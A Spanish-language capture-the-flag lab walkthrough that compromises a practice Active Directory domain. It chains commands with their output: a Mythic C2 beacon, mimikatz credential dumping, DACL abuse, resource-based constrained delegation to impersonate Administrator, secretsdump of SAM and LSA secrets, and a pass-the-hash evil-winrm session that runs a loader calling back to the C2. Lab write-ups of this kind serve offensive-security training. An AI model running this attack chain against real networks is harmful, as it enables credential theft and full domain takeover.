Ninja Hacker Academy Parte 2
Introducción
En esta segunda parte, recolectaremos la data de bloodhound, ejecutaremos mimikatz en el sistema comprometido para oobtener credenciales y haremos movimiento lateral a otro sistema en la red.
Partimos del contexto en el que tenemos dos beacons del sistema sql, con la ip 192.168.56.21, uno con la cuenta NT AUTHORITY\NETWORK SERVICE, y otro con privilegios de SYSTEM.
Vamos a editar el fichero hosts de nuestra máquina atacante, para que pueda resolver los nombres de las máquinas del laboratorio. Para ello, netexec nos facilita la tarea, de esta forma:
nxc smb 192.168.56.0/24 --generate-hosts-file hosts.txt

Una de las tareas más importantes a la hora de ejecutar un pentesting en un entorno de active directory, es obtener la data de bloodhound, para poder enumerar en condiciones todo el entorno. Para ello, es posible ejecutar en memoria SharpHouind.exe desde Mythic, que nos proporcionará lo que necesitamos.
Con register_assembly lo cargamos en Mythic, y con execute_assembly lo ejecutamos.

execute_assembly SharpHound.exe -c All,GPOLocalGroup

Ahora es posible descargarlo para analizarlo desde bloodhound.

Además vamos también a ejecutar mimikatz desde mythic, para intentar obtener hashes que nos puedan servir para movernos lateralmente.
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords"

Y obtenemos el hash ntlm de la cuenta de máquina sql$
* Username : SQL$
* Domain : ACADEMY
* NTLM : 87301c6906621fb1b4973ec2b2f4d937
* SHA1 : f52af5354b64f68fb9deef15e3a37de252d017e9
* DPAPI : f52af5354b64f68fb9deef15e3a37de2
Si nos vamos a bloodhound y buscamos la cuenta de máquina sql, vemos que tiene GenericAll sobre un contenedor llamado computers, y bloodhound nos sugiere utilizar dacledit con el parámetro -inheritance, para que se hereden los permisos a todos los objetos que hayan dentro del contenedor.

dacledit.py -action "write" -principal SQL$ -target-dn "CN=COMPUTERS,DC=ACADEMY,DC=NINJA,DC=LAN" "academy.ninja.lan"/"SQL$" -hashes :87301c6906621fb1b4973ec2b2f4d937 -inheritance
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250926-194525.bak
[*] DACL modified successfully!

Ahora, si actualizamos la data de bloodhound, volviendo a ejecutar el comando de antes, descargando el nuevo archivo y subiéndolo a bloodhound vemos que tenemos GenericAll también sobre la máquina web$. Y además nos sugiere que utilicemos la técnica RBCD (Resource-Based Constrained Delegation).

Con lo cual vamos a seguir los pasos que nos indica bloodhound, adaptando los comandos al entorno. Lo primero, creamos una cuenta de máquina llamada ximo$ con la contraseña Password123!
addcomputer.py -computer-name 'ximo$' -computer-pass 'Password123!' -dc-host academy.ninja.lan "academy.ninja.lan"/"SQL$" -hashes :87301c6906621fb1b4973ec2b2f4d937
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account ximo$ with password Password123!.

Ahora es posible crear la delegación utilizando otro comando de impacket (rbcd)
rbcd.py -delegate-from 'ximo$' -delegate-to 'web$' -dc-ip 'academy.ninja.lan' -action 'write' "academy.ninja.lan"/"SQL$" -hashes :87301c6906621fb1b4973ec2b2f4d937
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ximo$ can now impersonate users on web$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ximo$ (S-1-5-21-491962646-2799345496-3044782539-1137)

Ahora podemos solicitar un ticket de servicio usando getST.py para el servicio CIFS, y vamos a impersonar al usuario Administrador.
getST.py -spn 'cifs/web.academy.ninja.lan' -impersonate Administrator -dc-ip 'academy.ninja.lan' "academy.ninja.lan"/"ximo$":"Password123\!"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_web.academy.ninja.lan@ACADEMY.NINJA.LAN.ccache

Exportamos la variable de entorno para poder utilizar el ticket obtenido
export KRB5CCNAME=Administrator@cifs_web.academy.ninja.lan@ACADEMY.NINJA.LAN.ccache
Y ya podemos utilizar netexec para autenticarnos en la máquina web con el usuario Administrator, y volcar los hashes de la máquina.
nxc smb 192.168.56.21 -k --use-kcache
SMB 192.168.56.21 445 WEB [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB) (domain:academy.ninja.lan) (signing:False) (SMBv1:False)
SMB 192.168.56.21 445 WEB [+] academy.ninja.lan\Administrator from ccache (Pwn3d!)

secretsdump.py administrator@web.academy.ninja.lan -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x740c8677f51ec010b35e0195e51bed3c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0c532fcf2046010cb8d38eedf5e45312:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6d587fe93bb333e51b07759bc056d261:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ACADEMY\WEB$:plain_password_hex:2d00620042002a0025003f00670030006a003c002400600045002900230052006600400037004f0057002c00760027005d00200068006f003c004f0046004700540077003400310064005b007a0048004600270037002f003500650024003f005800560041004f006e00350032003b002100590073007800560070004a00500045003e003e006a00700041002d00330071006f004f00480070003f002a0035004a00620042004c0066007a0052006d004a005e0076004e005c00460079006e0056003c003c003e0079004c007a0066006700730066003e005000490053004e0055004100360037002900220049005100
ACADEMY\WEB$:aad3b435b51404eeaad3b435b51404ee:2867f65a4e9e216947e1f2703c618730:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xa730ebdd56bc3da3e79b6dc4f5dfd7b19f354248
dpapi_userkey:0x1984dedd875722fce8677694599f4bc7ef0c1776
[*] NL$KM
0000 6A 2F A7 33 55 6E B4 2D 26 EA 27 3B 9B C0 A2 5C j/.3Un.-&.';...\
0010 D6 5C CC CC 8C 6A 7B 82 D1 83 BC 0B 4F 1A 89 42 .\...j{.....O..B
0020 66 4F 98 75 84 97 FF AE F4 C4 7A 60 0D 6A 41 DA fO.u......z`.jA.
0030 75 B3 F0 BD 65 28 BD 52 06 8C 06 AA DB BB A1 9A u...e(.R........
NL$KM:6a2fa733556eb42d26ea273b9bc0a25cd65ccccc8c6a7b82d183bc0b4f1a8942664f98758497ffaef4c47a600d6a41da75b3f0bd6528bd52068c06aadbbba19a
[*] Cleaning up...
[*] Stopping service RemoteRegistry
A continuación podemos conectarnos con evil-winrm, ejecutar nuestro loader para recibir el beacon en mythic y leer la flag.
evil-winrm -i 192.168.56.21 -u administrator -H 0c532fcf2046010cb8d38eedf5e45312
upload SimpleLoader.exe
.\SimpleLoader.exe
